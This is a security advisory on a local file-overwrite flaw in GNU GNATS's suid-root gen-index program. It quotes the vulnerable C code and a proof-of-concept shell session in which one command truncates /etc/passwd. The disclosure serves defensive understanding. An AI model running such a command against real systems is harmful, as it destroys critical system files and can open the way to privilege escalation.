[UNIX] GNATS Authentication Bypass Vulnerability

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GNATS Authentication Bypass Vulnerability
------------------------------------------------------------------------

SUMMARY

" <http://www.gnu.org/software/gnats/> GNU GNATS is a set of tools for
tracking bugs reported by users to a central site."

GNATS allows attacker to overwrite files with suid root gen-index program.

DETAILS

Vulnerable Systems:
* GNATS version 4.0
* GNATS version 4.1.0
* Probably all previous versions are also vulnerable.

Local users are able to execute gen-index without any user or group of
gnat and overwrite any files in system when placing a suid for the
program. The problem lies with gen-index main() function, which does not
check argument who was given to the program with hard open and write there
own data.

Vulnerable Code:
gnats/gen-index.c:
int main (int argc, char **argv)
{
...
...

while ((optc = getopt_long (argc, argv, "o:hd:nVie",
long_options, (int *) 0)) != EOF)
{
switch (optc)
{
...
...
case 'o':
file_name = optarg;
break;

case 'n':
numeric_sorting = TRUE;
break;
...
...
}
}

...
...

if (file_name)
output = fopen (file_name, "w+");
if (output == (FILE *) NULL)
{
fprintf (stderr, "%s: can't write to %s: %s\n", program_name,
optarg, strerror (errno));
exit (3);
}

...
...

if (indexIsBinary (database))
{
char numFields = indexFieldCount (database);
fwrite (&numFields, 1, 1, output);
}

...
...
if (numeric_sorting && num_entries > 0)
{
qsort (entries, num_entries, sizeof (Entry), entry_cmp);
for (i = 0; i < num_entries; i++)
{
fwrite (entries[i].string, 1, entries[i].length, output);
}
}

fclose (output);
...
exit (0);
}

Function fopen() with argument "w+" open file for reading and writing. The
file is created if it does not exist, otherwise it is truncated.

Proof of Concept:
pi3@darkstar:~$ pwd
/home/pi3
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r-- 1 root root 795 May 19 18:49 /etc/passwd
pi3@darkstar:~$ ls -alh /usr/local/libexec/gnats/gen-index
-r-sr-xr-x 1 root root 465k Nov 21 2004
/usr/local/libexec/gnats/gen-index*
pi3@darkstar:~$ /usr/local/libexec/gnats/gen-index -n -o /etc/passwd
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r-- 1 root root 1 Jun 16 17:34 /etc/passwd
pi3@darkstar:~$ cat /etc/passwd
pi3@darkstar:~$

ADDITIONAL INFORMATION

The information has been provided by <mailto:pi3ki31ny@wp.pl> Adam
Zabrocki.
The original article can be found at:
<http://www.pi3.int.pl/adv/gnats.txt> http://www.pi3.int.pl/adv/gnats.txt

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